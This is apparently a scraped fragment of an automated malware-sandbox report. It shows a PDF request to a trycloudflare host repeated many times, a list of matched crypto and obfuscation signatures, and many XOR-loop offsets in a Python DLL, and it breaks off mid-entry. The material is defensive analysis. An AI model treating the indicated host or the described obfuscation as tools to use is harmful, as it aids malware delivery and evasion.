text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "0Sec" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Site" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Language" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "9Sec" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Platform" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Insecure" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Requests" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "1Sec" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "User" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Encoding" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "gzip" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "brAccept" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "exchange" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Dest" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "document" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document"2c:T4eb,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: YARA signature match – cryptographic algorithms Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data2d:T14d0d,Found XOR loop in file "python314.dll" at offset 525180; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 1083927; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 1525644; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 1824048; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 3041273; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 3404655; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4049395; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4243385; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4338730; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4392593; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4468439; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4507188; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4512531; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4586933; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4845211; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4866213; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4912922; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4924469; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 4962681; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 5050942; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 5094703; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 5105423; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 5144095; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 5205715; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 5205781; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 194025; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 232361; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 238785; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 241489; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 244481; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 244641; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 306342; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 406355; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 406555; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 406793; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 445367; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 446762; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 487713; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 505637; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 520793; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 757622; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 886708; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 978920; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1001630; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1001717; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1001913; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1002037; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1002229; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1002489; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1002637; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1002825; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1003705; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1003965; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1004253; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1004397; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1004681; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1004817; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1004957; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1005093; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1005225; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1005401; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1005581; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1005793; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1006309; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1006541; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1006693; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1006833; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1007117; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1007749; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1008161; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1008297; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1008465; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1008620; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1008837; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1012072; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1015845; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1016081; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1041761; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1066637; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1115609; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1115618; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1115626; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1115704; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1115713; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1115721; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1256665; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1256747; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1256881; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1257012; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1268603; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1283932; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1286349; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1286468; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1291219; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1303702; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1303789; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1303840; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1303903; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1303975; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304043; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304172; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304291; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304404; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304538; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304599; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304661; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304732; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304788; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304846; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304932; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1304983; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305056; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305107; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305163; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305214; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305304; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305418; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305474; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305562; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305689; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305747; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305763; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305821; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305903; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1305988; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306070; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306155; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306236; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306320; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306384; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306458; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306535; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306556; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306624; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306698; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306719; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306785; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306842; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306864; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306932; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1306952; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307019; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307083; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307206; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307334; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307473; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307524; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307587; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307717; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307844; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307922; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1307970; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308100; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308227; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308357; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308484; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308614; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308746; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308797; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308878; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1308992; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309048; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309122; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309147; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309213; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309229; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309282; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309303; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309370; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309442; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309519; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309607; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309675; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309753; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309834; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1309921; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310001; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310017; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310083; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310164; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310246; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310322; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310390; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310461; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310534; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310572; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310658; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310709; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310782; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310833; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310889; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1310940; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1311033; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1311149; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1311286; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1311403; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1311538; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1311665; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1311792; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1311919; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312038; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312089; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312153; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312291; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312339; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312410; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312484; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312568; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312589; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312659; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312729; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312749; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312807; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312887; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312908; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1312972; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313044; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313122; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313202; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313223; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313285; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313353; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313428; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313499; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313589; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313643; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313785; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313836; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313909; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1313964; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314035; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314151; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314300; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314358; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314411; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314482; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314536; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314587; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314660; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 1314711; code 